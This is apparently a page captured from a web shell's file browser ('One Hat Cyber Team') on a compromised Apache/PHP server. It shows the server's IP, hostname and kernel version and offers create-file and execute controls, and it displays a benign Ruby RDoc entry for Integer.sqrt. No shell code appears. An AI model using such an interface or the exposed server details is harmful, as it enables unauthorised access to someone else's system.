⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Integer
/
View File Name :
sqrt-c.ri
U:RDoc::AnyMethod[iI" sqrt:ETI"Integer::sqrt;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"FReturns the integer square root of the non-negative integer +n+, ;TI"Ei.e. the largest non-negative integer less than or equal to the ;TI"square root of +n+.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [ I""Integer.sqrt(0) #=> 0 ;TI""Integer.sqrt(1) #=> 1 ;TI""Integer.sqrt(24) #=> 4 ;TI""Integer.sqrt(25) #=> 5 ;TI"(Integer.sqrt(10**400) #=> 10**200 ;T:@format0o; ; [I"@Equivalent to
Math.sqrt(n).floor
, except that ;TI"Bthe result of the latter code may differ from the true value ;TI"?due to the limited precision of floating point arithmetic.;T@o;; [I";Integer.sqrt(10**46) #=> 100000000000000000000000 ;TI"?Math.sqrt(10**46).floor #=> 99999999999999991611392 (!) ;T; 0o; ; [I"DIf +n+ is not an Integer, it is converted to an Integer first. ;TI"7If +n+ is negative, a Math::DomainError is raised.;T: @fileI"numeric.c;T:0@omit_headings_from_table_of_contents_below0I""Integer.sqrt(n) -> integer ;T0[ I" (p1);T@%FI"Integer;TcRDoc::NormalClass00